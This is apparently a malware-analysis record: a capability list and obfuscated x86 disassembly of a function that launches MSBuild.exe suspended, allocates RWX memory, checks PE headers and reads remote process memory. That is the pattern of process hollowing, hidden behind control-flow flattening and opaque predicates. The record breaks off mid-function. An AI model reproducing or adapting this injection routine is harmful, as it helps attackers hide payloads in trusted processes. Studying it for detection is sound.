Function at 0x10006b10
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1a0
mov eax, dword [0x10068004]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1a8], 0xc814fcb5
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x1ac], eax
sub eax, 0x80466089
je 0x1000b055
jmp 0x10006b4c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x81826cc3
je 0x10008ebd
jmp 0x10006b62
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8193d3a7
je 0x1000d9d0
jmp 0x10006b78
mov eax, dword [ebp - 0x1ac]
sub eax, 0x819ac538
je 0x1000d8d8
jmp 0x10006b8e
mov eax, dword [ebp - 0x1ac]
sub eax, 0x82103345
je 0x1000dfa3
jmp 0x10006ba4
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8379d435
je 0x1000de60
jmp 0x10006bba
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8389f02c
je 0x1000b120
jmp 0x10006bd0
mov eax, dword [ebp - 0x1ac]
sub eax, 0x83f956e8
je 0x1000e12f
jmp 0x10006be6
mov eax, dword [ebp - 0x1ac]
sub eax, 0x848e3539
je 0x1000a59d
jmp 0x10006bfc
mov eax, dword [ebp - 0x1ac]
sub eax, 0x848e815c
je 0x1000d9a6
jmp 0x10006c12
mov eax, dword [ebp - 0x1ac]
sub eax, 0x858267a9
je 0x1000e0d8
jmp 0x10006c28
mov eax, dword [ebp - 0x1ac]
sub eax, 0x85cc3fb5
je 0x1000c14e
jmp 0x10006c3e
mov eax, dword [ebp - 0x1ac]
sub eax, 0x85f1fe73
je 0x1000c0d8
jmp 0x10006c54
mov eax, dword [ebp - 0x1ac]
sub eax, 0x864247a8
je 0x10009c5a
jmp 0x10006c6a
mov eax, dword [ebp - 0x1ac]
sub eax, 0x86cff281
je 0x1000a2c2
jmp 0x10006c80
mov eax, dword [ebp - 0x1ac]
sub eax, 0x877e9792
je 0x10008f52
jmp 0x10006c96
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8798e667
je 0x1000b71b
jmp 0x10006cac
mov eax, dword [ebp - 0x1ac]
sub eax, 0x882efee3
je 0x1000898e
jmp 0x10006cc2
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8a301400
je 0x1000aa09
jmp 0x10006cd8
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8a916a76
je 0x1000a646
jmp 0x10006cee
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8ad2086c
je 0x1000dfe9
jmp 0x10006d04
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8b6e9996
je 0x1000a9b8
jmp 0x10006d1a
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8b742ef8
je 0x1000b9b4
jmp 0x10006d30
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8bdcf9bc
je 0x10009b66
jmp 0x10006d46
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8fbb22d2
je 0x1000dbc8
jmp 0x10006d5c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8fce10f6
je 0x1000c680
jmp 0x10006d72
mov eax, dword [ebp - 0x1ac]
sub eax, 0x90262589
je 0x1000e206
jmp 0x10006d88
mov eax, dword [ebp - 0x1ac]
sub eax, 0x90e43960
je 0x1000bc1d
jmp 0x10006d9e
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9113add3
je 0x1000dcf1
jmp 0x10006db4
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9197515d
je 0x1000bd75
jmp 0x10006dca
mov eax, dword [ebp - 0x1ac]
sub eax, 0x91cf9b7b
je 0x100094e0
jmp 0x10006de0
mov eax, dword [ebp - 0x1ac]
sub eax, 0x91f14471
je 0x1000dbd7
jmp 0x10006df6
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9259e28d
je 0x1000b48f
jmp 0x10006e0c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x92d52887
je 0x1000e521
jmp 0x10006e22
mov eax, dword [ebp - 0x1ac]
sub eax, 0x92eebcbe
je 0x1000ba27
jmp 0x10006e38
mov eax, dword [ebp - 0x1ac]
sub eax, 0x942bd792
je 0x10009e55
jmp 0x10006e4e
mov eax, dword [ebp - 0x1ac]
sub eax, 0x95d3136f
je 0x1000d841
jmp 0x10006e64
mov eax, dword [ebp - 0x1ac]
sub eax, 0x970e61d8
je 0x1000a295
jmp 0x10006e7a
mov eax, dword [ebp - 0x1ac]
sub eax, 0x97749e72
je 0x100098dc
jmp 0x10006e90
mov eax, dword [ebp - 0x1ac]
sub eax, 0x97cb08c3
je 0x10009a23
jmp 0x10006ea6
mov eax, dword [ebp - 0x1ac]
sub eax, 0x98cccc28
je 0x10009120
jmp 0x10006ebc
mov eax, dword [ebp - 0x1ac]
sub eax, 0x992ff34f
je 0x1000a3f9
jmp 0x10006ed2
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9942d7bd
je 0x1000d6b8
jmp 0x10006ee8
mov eax, dword [ebp - 0x1ac]
sub eax, 0x99728371
je 0x1000ca70
jmp 0x10006efe
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9b0995cf
je 0x1000c41f
jmp 0x10006f14
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9c0e33bb
je 0x1000df1a
jmp 0x10006f2a
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9d3fcdbb
je 0x1000e21b
jmp 0x10006f40
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9ea9d24f
je 0x1000b572
jmp 0x10006f56
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9eaae063
je 0x1000b00c
jmp 0x10006f6c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9ec960bb
je 0x10009625
jmp 0x10006f82
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9efbe6c5
je 0x1000ab1d
jmp 0x10006f98
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9f1c45b6
je 0x1000d997
jmp 0x10006fae
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9f646efa
je 0x1000a7f9
jmp 0x10006fc4
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa01522b3
je 0x1000bd24
jmp 0x10006fda
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa060be7c
je 0x1000888c
jmp 0x10006ff0
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa19216f0
je 0x1000d5d4
jmp 0x10007006
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa2321d9f
je 0x1000d3a0
jmp 0x1000701c
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa3294494
je 0x1000a7d8
jmp 0x10007032
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa4df0ed2
je 0x1000e04c
jmp 0x10007048
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa5b8d348
je 0x10008db6
jmp 0x1000705e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa5cacce1
je 0x1000e4f1
jmp 0x10007074
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa6b5fafb
je 0x10008bed
jmp 0x1000708a
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa90a07af
je 0x1000e120
jmp 0x100070a0
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa9ce333c
je 0x1000ad28
jmp 0x100070b6
mov eax, dword [ebp - 0x1ac]
sub eax, 0xac867d58
je 0x1000d6e2
mov dword [ebp - 0x1a8], 0x5548ef48
jmp 0x1000e642
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
mov edx, ecx
add edx, 0x5f1389e4
sub edx, 1
sub edx, 0x5f1389e4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9113add3
mov ecx, 0xffdd6932
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov dword [ebp - 0x1a8], 0x355d9ecd
jmp 0x1000e642
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
mov edx, ecx
add edx, 0x53173fa6
sub edx, 1
sub edx, 0x53173fa6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x72aee0f5
mov ecx, 0x1e05e01e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x1a8], 0xbb3a8906
jmp 0x1000e642
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x12c], eax
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
mov edx, ecx
add edx, 0x58700416
sub edx, 1
sub edx, 0x58700416
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6c563010
mov ecx, 0x2837a8b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [ebp - 0x12c]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0x125], al
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
mov edx, ecx
add edx, 0xace901cb
sub edx, 1
sub edx, 0xace901cb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd64ac55c
mov ecx, 0xe20dfbbc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov al, byte [ebp - 0x123]
mov byte [ebp - 0x195], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x19c], eax
mov al, byte [ebp - 0x195]
mov byte [ebp - 0x122], al
mov dword [ebp - 0x1a8], 0x7c67ce4b
jmp 0x1000e642
mov edx, dword [ebp - 0x19c]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x121], al
mov dword [ebp - 0x1a8], 0xd9715bfa
jmp 0x1000e642
mov eax, dword [0x10069288]
mov ecx, dword [0x10069284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3343bcdf
mov ecx, 0xfcb34ad6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x1a8], 0xd57f939c
jmp 0x1000e642
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
mov edx, ecx
sub edx, 0x400bbbf6
sub edx, 1
add edx, 0x400bbbf6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb30046c7
mov ecx, 0xd84e8960
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3ab250f4
mov ecx, 0x7c5aea3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa2321d9f
mov ecx, 0xa37eda2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [ebp - 0x178]
mov dword [eax], 0
mov eax, dword [ebp - 0x190]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x1a8], 0x86cff281
jmp 0x1000e642
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x170]
mov dword [eax], 0
mov dword [ebp - 0x1a8], 0x107c46f2
jmp 0x1000e642
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb906c7de
mov ecx, 0x101d0f3d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [0x10069288]
mov ecx, dword [0x10069284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8ad2086c
mov ecx, 0xaf326741
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xedb7e82c
mov ecx, 0x79a2d1cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov dl, byte [ebp - 0xe1]
mov eax, 0xa9ce333c
mov ecx, 0x9f646efa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x170]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x1a8], 0xaeca2249
jmp 0x1000e642
mov eax, dword [0x10069288]
mov ecx, dword [0x10069284]
mov edx, eax
sub edx, 0xb5a4f3c0
sub edx, 1
add edx, 0xb5a4f3c0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x59854c22
mov ecx, 0x8a301400
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x170]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0xd4], eax
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
mov edx, ecx
add edx, 0x4210f8bc
sub edx, 1
sub edx, 0x4210f8bc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x59854c22
mov ecx, 0xdcfaed6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6e68ab69
mov ecx, 0xaf12fd0a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [0x10069288]
mov ecx, dword [0x10069284]
mov edx, eax
sub edx, 0x6698f5f
sub edx, 1
add edx, 0x6698f5f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x21d2107f
mov ecx, 0xb107267a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [0x10069288]
mov ecx, dword [0x10069284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe597c7cc
mov ecx, 0x80466089
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0xcc], eax
mov eax, dword [0x10069288]
mov ecx, dword [0x10069284]
mov edx, eax
add edx, 0xd0786bf4
sub edx, 1
sub edx, 0xd0786bf4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe597c7cc
mov ecx, 0x37c6e366
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov dword [ebp - 0x1a8], 0xb2bb547c
jmp 0x1000e642
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
sub eax, 0x6fd9b904
add eax, 8
add eax, 0x6fd9b904
mov dword [ebp - 0xc4], eax
mov eax, dword [0x10069288]
mov ecx, dword [0x10069284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x151a8409
mov ecx, 0x2b7b3ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [0x10069288]
mov ecx, dword [0x10069284]
mov edx, eax
sub edx, 0xf1499d4
sub edx, 1
add edx, 0xf1499d4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc8204e9b
mov ecx, 0xc9e38058
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov dword [ebp - 0x1a8], 0xf51b525b
jmp 0x1000e642
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x15c]
mov ecx, dword [ecx]
shl ecx, 1
add eax, ecx
mov dword [ebp - 0xbc], eax
mov eax, dword [0x10069288]
mov ecx, dword [0x10069284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5bef4b7e
mov ecx, 0x6f96129c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [ebp - 0xbc]
movzx eax, word [eax]
mov ecx, 0xffffffff
xor ecx, 0xf000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0xb76ffc9d
mov ecx, 0xe2288838
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xb4]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x154]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov edx, eax
mov eax, 0xa01522b3
mov ecx, 0x36aec390
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [0x10069288]
mov ecx, dword [0x10069284]
mov edx, eax
sub edx, 0x7d711289
sub edx, 1
add edx, 0x7d711289
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x819ac538
mov ecx, 0x9197515d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [0x10069288]
mov ecx, dword [0x10069284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x22711fc2
mov ecx, 0x254386e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
mov edx, ecx
add edx, 0x18f86bf6
sub edx, 1
sub edx, 0x18f86bf6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe6dd5bf7
mov ecx, 0x85cc3fb5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [0x10069288]
mov ecx, dword [0x10069284]
mov edx, eax
add edx, 0x922cb358
sub edx, 1
sub edx, 0x922cb358
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x848e815c
mov ecx, 0x443ff73a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov dword [ebp - 0x1a8], 0xe3a3262
jmp 0x1000e642
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
mov edx, ecx
add edx, 0xbe52df6a
sub edx, 1
sub edx, 0xbe52df6a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8193d3a7
mov ecx, 0xf0c6e91f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [0x10069288]
mov ecx, dword [0x10069284]
mov edx, eax
sub edx, 0x19ff7fb
sub edx, 1
add edx, 0x19ff7fb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6ab9b33d
mov ecx, 0x5de4cc5d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [ebp - 0x180]
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x1a8], 0xa37eda2
jmp 0x1000e642
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
mov edx, ecx
add edx, 0xd60ee0ac
sub edx, 1
sub edx, 0xd60ee0ac
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6f599963
mov ecx, 0x77852b8f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov dword [ebp - 0x1a8], 0xc4d78e5e
jmp 0x1000e642
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x168]
mov eax, dword [ebp - 0x15c]
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
mov edx, ecx
add edx, 0x1668c29f
sub edx, 1
sub edx, 0x1668c29f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa5cacce1
mov ecx, 0x1ddaf69b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov eax, dword [0x10069288]
mov ecx, dword [0x10069284]
mov edx, eax
sub edx, 0xa78432d
sub edx, 1
add edx, 0xa78432d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf20f9dd2
mov ecx, 0x179e3c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
mov dword [ebp - 0x1a8], 0x9197515d
jmp 0x1000e642
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x1a8], 0x443ff73a
jmp 0x1000e642
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax + 0xa8]
mov ecx, dword [ebp - 0x90]
